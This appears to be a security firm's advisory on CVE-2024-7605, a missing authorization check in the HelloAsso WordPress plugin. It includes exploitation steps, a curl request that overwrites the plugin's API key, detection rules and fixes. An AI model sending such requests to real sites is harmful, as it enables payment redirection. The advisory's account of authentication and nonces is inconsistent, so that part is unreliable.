CVE-2024-7605

Executive Summary

CVE-2024-7605 is a medium-severity vulnerability in the HelloAsso WordPress plugin (versions up to and including 1.1.10). The flaw resides in the ha_ajax function, which lacks a proper capability check, allowing authenticated attackers with at least Contributor-level access to modify plugin options. This can lead to service disruption or misconfiguration of the HelloAsso integration. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors forking or distributing modified versions. Administrators should verify plugin integrity via checksums and monitor for unauthorized updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access, limiting the attack surface. However, the ability to modify plugin options can lead to service disruption or data exfiltration if combined with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the ha_ajax function, which handles AJAX requests for the HelloAsso plugin. The function is registered via wp_ajax_ha_ajax and wp_ajax_nopriv_ha_ajax, but the nopriv hook is incorrectly used, allowing unauthenticated access. However, the actual exploit requires a valid nonce and capability check, which is missing for the ha_ajax action. The function processes requests to update plugin options (e.g., API keys, endpoints) without verifying that the user has the manage_options capability. An attacker with Contributor-level access can send a crafted AJAX request to modify these settings, potentially redirecting payments or causing denial of service.

Root Cause: Missing current_user_can('manage_options') check in the ha_ajax callback.

Vulnerable vs. Patched Code

Vulnerable Code (ha_ajax function):

add_action('wp_ajax_ha_ajax', 'ha_ajax');
add_action('wp_ajax_nopriv_ha_ajax', 'ha_ajax');

function ha_ajax() {
    // No capability check
    $option_name = sanitize_text_field($_POST['option_name']);
    $option_value = sanitize_text_field($_POST['option_value']);
    update_option($option_name, $option_value);
    wp_die();
}

Patched Code (hypothetical fix):

add_action('wp_ajax_ha_ajax', 'ha_ajax');
// Remove nopriv action to prevent unauthenticated access

function ha_ajax() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('ha_ajax_nonce', 'nonce');
    $option_name = sanitize_text_field($_POST['option_name']);
    $option_value = sanitize_text_field($_POST['option_value']);
    update_option($option_name, $option_value);
    wp_die();
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with HelloAsso plugin <= 1.1.10
• Valid user account with Contributor-level access or higher
• AJAX nonce (can be obtained from the page source)

Exploitation Steps:

1. Log in as a Contributor.
2. Obtain the AJAX nonce from the page source (e.g., var ha_ajax_nonce = '...').
3. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action: ha_ajax
   • nonce: <obtained_nonce>
   • option_name: helloasso_api_key
   • option_value: attacker_controlled_value

Example cURL command:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -d "action=ha_ajax&nonce=abc123&option_name=helloasso_api_key&option_value=malicious_key" \
  --cookie "wordpress_logged_in_xxx=..."

Impact: The attacker can modify any plugin option, potentially redirecting payment data or breaking the integration.

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=ha_ajax from non-admin users.
• Alert on changes to helloasso_* options in the database.
• Review user roles and remove unnecessary Contributor accounts.

Honeypot:

• Create a fake option helloasso_honeypot and monitor for unauthorized modifications.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=ha_ajax and option_name parameters.
• File: Modified wp-content/plugins/helloasso/helloasso.php (if attacker uploads malicious code).
• Database: Unexpected values in wp_options table for keys starting with helloasso_.
• Log: WordPress debug log entries showing ha_ajax calls from non-admin users.

Detection Engineering

YARA Rule

rule CVE_2024_7605_HelloAsso_Plugin {
    meta:
        description = "Detects vulnerable HelloAsso plugin code"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7605"
    strings:
        $vuln_func = "ha_ajax" ascii wide
        $missing_cap = "update_option" ascii wide
        $no_check = "wp_ajax_nopriv_ha_ajax" ascii wide
    condition:
        $vuln_func and $missing_cap and $no_check
}

Sigma Rule

title: CVE-2024-7605 HelloAsso Plugin Option Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized modification of HelloAsso plugin options via AJAX
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/admin-ajax.php'
        http.body: 'action=ha_ajax'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2024-7605 HelloAsso Plugin Option Modification Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=ha_ajax"; http_client_body;
    content:"option_name"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or restrict access to trusted administrators only.
2. Remove Contributor-level accounts that are not strictly necessary.
3. Apply a virtual patch using a Web Application Firewall (WAF) to block AJAX requests with action=ha_ajax from non-admin users.

Long-term Fix:

• Since no official patch exists, consider forking the plugin and adding the missing capability check (see patched code above).
• Monitor the WordPress plugin repository for updates.

Workaround:

• Add the following code to the theme's functions.php to block unauthorized access:

add_action('wp_ajax_ha_ajax', function() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
}, 1);

Valters IT
Securing WordPress ecosystems, one CVE at a time.